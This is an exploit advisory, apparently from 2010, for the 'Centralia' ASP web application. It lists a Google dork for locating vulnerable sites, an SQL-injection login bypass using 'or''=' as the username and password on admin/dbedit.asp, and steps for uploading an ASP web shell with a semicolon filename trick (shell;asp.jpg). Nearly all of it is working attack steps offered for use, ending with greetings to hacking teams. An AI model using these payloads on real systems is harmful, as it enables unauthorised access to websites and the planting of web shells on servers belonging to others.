inurl:showcat.asp?id=

========================================

Centralia (admin/dbedit.asp?) Bypass and Shell Upload Vulnerability





========================================



#################################################################

# Exploit : Centralia (admin/dbedit.asp?) Bypass and File Upload Vulnerability



 

# Date : 10 December 2010

 

# Author : ali.erroor

 

# Version : n/a

 

# Googel DorK : inurl:showcat.asp?id=

 

# Home : www.network-security.ir

 

# Email : ali.erroor@att.net

 



#################################################################

 

[+] Exploit

 

[1] Centralia (admin/dbedit.asp?) Bypass and File Upload Vulnerability..





[-] http://localhost/path/admin/dbedit.asp?table=products

 

[-] username : 'or''='

[-] password : 'or''='





[2] Create New Upload Your Shell.Asp ..



[-] http://localhost/path/admin/dbedit.asp?a=upload_init



 

[3] To See Shell Edit Your uploads



[-] http://localhost/path/uploads/shell;asp.jpg

 

[+] Demo



[-] http://server/admin/dbedit.asp?table=products





[-] http://server/admin/dbedit.asp?a=upload_init







 

#################################################################

 

Great 2 : : h4m1d /sheisebaboo / vc.emliter / H-SK33PY / Net.Editor / HUrr!c4nE 

/ Cair3x /novin security team and all iranian hackers



#################################################################